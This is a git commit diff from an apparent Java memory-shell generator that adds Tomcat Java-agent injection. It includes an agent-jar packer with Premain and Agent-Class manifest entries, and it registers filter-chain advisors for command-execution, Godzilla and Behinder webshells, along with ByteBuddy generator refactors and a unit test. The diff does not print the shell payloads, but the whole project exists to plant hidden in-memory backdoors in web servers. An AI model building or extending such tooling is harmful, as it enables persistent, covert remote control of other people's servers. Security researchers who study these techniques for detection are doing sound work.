feat: support tomcat agent shell (resolved #12)

This commit is contained in:
ReaJason
2025-01-03 00:25:56 +08:00
parent 8e741b6647
commit 2da2e180cb
84 changed files with 1058 additions and 285 deletions
+1 -1
View File
@@ -47,7 +47,7 @@ dependencies {
implementation 'javax.servlet:javax.servlet-api:3.0.1'
implementation 'javax.websocket:javax.websocket-api:1.1'
implementation 'org.java-websocket:Java-WebSocket:1.5.7'
implementation 'jakarta.servlet:jakarta.servlet-api:5.0.0'
implementation 'jakarta.servlet:jakarta.servlet-api:6.0.0'
implementation 'xalan:xalan:2.7.0'
implementation 'org.apache.bcel:bcel:5.2'
@@ -1,10 +1,7 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.memshell.generator.BehinderGenerator;
import com.reajason.javaweb.memshell.generator.CommandGenerator;
import com.reajason.javaweb.memshell.generator.GodzillaGenerator;
import com.reajason.javaweb.memshell.generator.InjectorGenerator;
import com.reajason.javaweb.memshell.generator.*;
import org.apache.commons.lang3.tuple.Pair;
import java.util.Collections;
@@ -10,9 +10,12 @@ import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
import com.reajason.javaweb.memshell.tomcat.behinder.TomcatFilterChainBehinderAdvisor;
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
import com.reajason.javaweb.memshell.tomcat.command.CommandWebSocket;
import com.reajason.javaweb.memshell.tomcat.command.TomcatFilterChainCommandAdvisor;
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.tomcat.godzilla.TomcatFilterChainGodzillaAdvisor;
import com.reajason.javaweb.memshell.tomcat.injector.*;
import org.apache.commons.lang3.tuple.Pair;
@@ -28,19 +31,23 @@ public class TomcatShell extends AbstractShell {
public static final String WEBSOCKET = "WebSocket";
public static final String UPGRADE = "Upgrade";
public static final String EXECUTOR = "Executor";
public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
public static final String AGENT_JAKARTA_FILTER_CHAIN = AGENT + "JakartaFilterChain";
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
return Map.of(
SERVLET, Pair.of(CommandServlet.class, TomcatServletInjector.class),
JAKARTA_SERVLET, Pair.of(CommandServlet.class, TomcatServletInjector.class),
FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class),
JAKARTA_FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class),
LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class),
JAKARTA_LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class),
VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class),
JAKARTA_VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class),
WEBSOCKET, Pair.of(CommandWebSocket.class, TomcatWebSocketInjector.class)
return Map.ofEntries(
Map.entry(SERVLET, Pair.of(CommandServlet.class, TomcatServletInjector.class)),
Map.entry(JAKARTA_SERVLET, Pair.of(CommandServlet.class, TomcatServletInjector.class)),
Map.entry(FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class)),
Map.entry(JAKARTA_FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class)),
Map.entry(LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class)),
Map.entry(JAKARTA_LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class)),
Map.entry(VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class)),
Map.entry(JAKARTA_VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class)),
Map.entry(AGENT_FILTER_CHAIN, Pair.of(TomcatFilterChainCommandAdvisor.class, TomcatFilterChainAgentInjector.class)),
Map.entry(AGENT_JAKARTA_FILTER_CHAIN, Pair.of(TomcatFilterChainCommandAdvisor.class, TomcatFilterChainAgentInjector.class)),
Map.entry(WEBSOCKET, Pair.of(CommandWebSocket.class, TomcatWebSocketInjector.class))
);
}
@@ -54,7 +61,9 @@ public class TomcatShell extends AbstractShell {
LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class),
JAKARTA_LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class),
VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class),
JAKARTA_VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class)
JAKARTA_VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class),
AGENT_FILTER_CHAIN, Pair.of(TomcatFilterChainGodzillaAdvisor.class, TomcatFilterChainAgentInjector.class),
AGENT_JAKARTA_FILTER_CHAIN, Pair.of(TomcatFilterChainGodzillaAdvisor.class, TomcatFilterChainAgentInjector.class)
);
}
@@ -68,7 +77,9 @@ public class TomcatShell extends AbstractShell {
LISTENER, Pair.of(BehinderListener.class, TomcatListenerInjector.class),
JAKARTA_LISTENER, Pair.of(BehinderListener.class, TomcatListenerInjector.class),
VALVE, Pair.of(BehinderValve.class, TomcatValveInjector.class),
JAKARTA_VALVE, Pair.of(BehinderValve.class, TomcatValveInjector.class)
JAKARTA_VALVE, Pair.of(BehinderValve.class, TomcatValveInjector.class),
AGENT_FILTER_CHAIN, Pair.of(TomcatFilterChainBehinderAdvisor.class, TomcatFilterChainAgentInjector.class),
AGENT_JAKARTA_FILTER_CHAIN, Pair.of(TomcatFilterChainBehinderAdvisor.class, TomcatFilterChainAgentInjector.class)
);
}
}
@@ -18,4 +18,6 @@ public class Constants {
public static final String VALVE = "Valve";
public static final String JAKARTA_VALVE = "JakartaValve";
public static final String AGENT = "Agent";
}
@@ -0,0 +1,42 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FixedValue;
import static net.bytebuddy.matcher.ElementMatchers.named;
/**
* @author ReaJason
* @since 2024/12/28
*/
public class AgentGenerator {
private final ShellConfig config;
private final InjectorConfig injectorConfig;
public AgentGenerator(ShellConfig config, InjectorConfig injectorConfig) {
this.config = config;
this.injectorConfig = injectorConfig;
}
public byte[] getBytes() {
DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(injectorConfig.getInjectorClass())
.name(injectorConfig.getInjectorClassName())
.visit(new TargetJreVersionVisitorWrapper(config.getTargetJreVersion()))
.method(named("getAdvisorName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));
if (config.isDebugOff()) {
builder = LogRemoveMethodVisitor.extend(builder);
}
try (DynamicType.Unloaded<?> make = builder.make()) {
return make.getBytes();
}
}
}
@@ -7,12 +7,11 @@ import com.reajason.javaweb.memshell.config.BehinderConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FieldAccessor;
import net.bytebuddy.implementation.SuperMethodCall;
import net.bytebuddy.matcher.ElementMatchers;
import org.apache.commons.codec.digest.DigestUtils;
import org.apache.commons.lang3.StringUtils;
import static net.bytebuddy.matcher.ElementMatchers.named;
/**
* @author ReaJason
* @since 2024/12/21
@@ -28,7 +27,7 @@ public class BehinderGenerator {
public DynamicType.Builder<?> getBuilder() {
if (behinderConfig.getShellClass() == null) {
throw new IllegalArgumentException("godzillaConfig.getClazz() == null");
throw new IllegalArgumentException("behinderConfig.getClazz() == null");
}
if (StringUtils.isBlank(behinderConfig.getPass())) {
throw new IllegalArgumentException("behinderConfig.getPass().isBlank()");
@@ -39,11 +38,9 @@ public class BehinderGenerator {
.redefine(behinderConfig.getShellClass())
.name(behinderConfig.getShellClassName())
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
.constructor(ElementMatchers.any())
.intercept(SuperMethodCall.INSTANCE
.andThen(FieldAccessor.ofField("pass").setsValue(md5Key))
.andThen(FieldAccessor.ofField("headerName").setsValue(behinderConfig.getHeaderName()))
.andThen(FieldAccessor.ofField("headerValue").setsValue(behinderConfig.getHeaderValue())));
.field(named("pass")).value(md5Key)
.field(named("headerName")).value(behinderConfig.getHeaderName())
.field(named("headerValue")).value(behinderConfig.getHeaderValue());
if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
@@ -7,10 +7,8 @@ import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FieldAccessor;
import net.bytebuddy.implementation.Implementation;
import net.bytebuddy.implementation.SuperMethodCall;
import net.bytebuddy.matcher.ElementMatchers;
import static net.bytebuddy.matcher.ElementMatchers.named;
/**
* @author ReaJason
@@ -22,13 +20,12 @@ public class CommandGenerator {
if (shellConfig.getShellClass() == null) {
throw new IllegalArgumentException("shellConfig.getClazz() == null");
}
Implementation.Composable fieldSets = SuperMethodCall.INSTANCE
.andThen(FieldAccessor.ofField("paramName").setsValue(shellConfig.getParamName()));
DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(shellConfig.getShellClass())
.name(shellConfig.getShellClassName())
.visit(new TargetJreVersionVisitorWrapper(config.getTargetJreVersion()))
.constructor(ElementMatchers.any()).intercept(fieldSets);
.field(named("paramName")).value(shellConfig.getParamName());
if (config.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
@@ -7,12 +7,11 @@ import com.reajason.javaweb.memshell.config.GodzillaConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FieldAccessor;
import net.bytebuddy.implementation.SuperMethodCall;
import net.bytebuddy.matcher.ElementMatchers;
import org.apache.commons.codec.digest.DigestUtils;
import org.apache.commons.lang3.StringUtils;
import static net.bytebuddy.matcher.ElementMatchers.named;
/**
* @author ReaJason
* @since 2024/11/23
@@ -40,13 +39,11 @@ public class GodzillaGenerator {
.redefine(godzillaConfig.getShellClass())
.name(godzillaConfig.getShellClassName())
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
.constructor(ElementMatchers.any())
.intercept(SuperMethodCall.INSTANCE
.andThen(FieldAccessor.ofField("pass").setsValue(godzillaConfig.getPass()))
.andThen(FieldAccessor.ofField("key").setsValue(md5Key))
.andThen(FieldAccessor.ofField("md5").setsValue(md5))
.andThen(FieldAccessor.ofField("headerName").setsValue(godzillaConfig.getHeaderName()))
.andThen(FieldAccessor.ofField("headerValue").setsValue(godzillaConfig.getHeaderValue())));
.field(named("pass")).value(godzillaConfig.getPass())
.field(named("key")).value(md5Key)
.field(named("md5")).value(md5)
.field(named("headerName")).value(godzillaConfig.getHeaderName())
.field(named("headerValue")).value(godzillaConfig.getHeaderValue());
if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
@@ -0,0 +1,83 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.memshell.config.GenerateResult;
import lombok.SneakyThrows;
import net.bytebuddy.ByteBuddy;
import org.apache.commons.io.FileUtils;
import org.apache.commons.io.IOUtils;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.net.URL;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.Enumeration;
import java.util.jar.JarEntry;
import java.util.jar.JarFile;
import java.util.jar.JarOutputStream;
import java.util.jar.Manifest;
/**
* @author ReaJason
* @since 2025/1/1
*/
public class AgentJarPacker implements JarPacker {
@Override
@SneakyThrows
public byte[] packBytes(GenerateResult generateResult) {
Path jarPath = Files.createTempFile("temp", ".jar");
String mainClass = generateResult.getInjectorClassName();
String advisorClass = generateResult.getShellClassName();
Manifest manifest = new Manifest();
manifest.getMainAttributes().putValue("Manifest-Version", "1.0");
manifest.getMainAttributes().putValue("Agent-Class", mainClass);
manifest.getMainAttributes().putValue("Premain-Class", mainClass);
manifest.getMainAttributes().putValue("Can-Redefine-Classes", "true");
manifest.getMainAttributes().putValue("Can-Retransform-Classes", "true");
try (JarOutputStream targetJar = new JarOutputStream(new FileOutputStream(jarPath.toFile()), manifest)) {
addDependency(targetJar, ByteBuddy.class);
if (generateResult.getShellConfig().isJakarta()) {
addDependency(targetJar, jakarta.servlet.Servlet.class);
} else {
addDependency(targetJar, javax.servlet.Servlet.class);
}
targetJar.putNextEntry(new JarEntry(mainClass.replace('.', '/') + ".class"));
targetJar.write(generateResult.getInjectorBytes());
targetJar.closeEntry();
targetJar.putNextEntry(new JarEntry(advisorClass.replace('.', '/') + ".class"));
targetJar.write(generateResult.getShellBytes());
targetJar.closeEntry();
}
byte[] byteArray = IOUtils.toByteArray(new FileInputStream(jarPath.toFile()));
FileUtils.deleteQuietly(jarPath.toFile());
return byteArray;
}
@SneakyThrows
public static void addDependency(JarOutputStream targetJar, Class<?> baseClass) {
String packageToMove = baseClass.getPackage().getName().replace('.', '/');
URL sourceUrl = baseClass.getProtectionDomain().getCodeSource().getLocation();
JarFile sourceJar = new JarFile(new File(sourceUrl.toURI()));
Enumeration<JarEntry> entries = sourceJar.entries();
while (entries.hasMoreElements()) {
JarEntry entry = entries.nextElement();
String entryName = entry.getName();
if (entryName.startsWith(packageToMove)) {
InputStream entryStream = sourceJar.getInputStream(entry);
targetJar.putNextEntry(new JarEntry(entryName));
IOUtils.copy(entryStream, targetJar);
targetJar.closeEntry();
entryStream.close();
}
}
sourceJar.close();
}
}
@@ -0,0 +1,8 @@
package com.reajason.javaweb.memshell.packer;
/**
* @author ReaJason
* @since 2025/1/1
*/
public interface JarPacker extends Packer {
}
@@ -17,7 +17,13 @@ public interface Packer {
* @param generateResult 生成的内存马信息
* @return 指定格式字节数组
*/
String pack(GenerateResult generateResult);
default String pack(GenerateResult generateResult) {
throw new UnsupportedOperationException("当前 " + this.getClass().getSimpleName() + " 不支持 string 生成");
}
default byte[] packBytes(GenerateResult generateResult) {
throw new UnsupportedOperationException("当前 " + this.getClass().getSimpleName() + " 不支持 bytes 生成");
}
/**
* 部分打包器可能需要配置来进行额外的配置项
@@ -70,6 +76,8 @@ public interface Packer {
Freemarker("Freemarker", new FreemarkerPacker()),
Velocity("Velocity", new VelocityPacker()),
AgentJar("AgentJar", new AgentJarPacker()),
;
private final String desc;
@@ -0,0 +1,46 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import com.reajason.javaweb.util.ClassUtils;
import lombok.SneakyThrows;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Disabled;
import org.junit.jupiter.api.Test;
import java.nio.file.Files;
import java.nio.file.Path;
import static org.junit.jupiter.api.Assertions.assertEquals;
/**
* @author ReaJason
* @since 2025/1/1
*/
class GodzillaGeneratorTest {
@Test
@SneakyThrows
void generate() {
ShellConfig shellConfig = ShellConfig.builder()
.server(Server.Tomcat)
.shellTool(ShellTool.Godzilla)
.shellType(Constants.SERVLET)
.targetJreVersion(Opcodes.V1_6)
.debug(true)
.build();
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
.shellClass(GodzillaServlet.class)
.pass("pass")
.key("key")
.headerName("User-Agent")
.headerValue("test").build();
DynamicType.Builder<?> builder = new GodzillaGenerator(shellConfig, godzillaConfig).getBuilder();
Class<?> loaded = builder.make().load(this.getClass().getClassLoader()).getLoaded();
Object o = loaded.getDeclaredConstructor().newInstance();
assertEquals(godzillaConfig.getPass(), ClassUtils.getFieldValue(o, "pass"));
assertEquals(godzillaConfig.getHeaderName(), ClassUtils.getFieldValue(o, "headerName"));
assertEquals(godzillaConfig.getHeaderValue(), ClassUtils.getFieldValue(o, "headerValue"));
}
}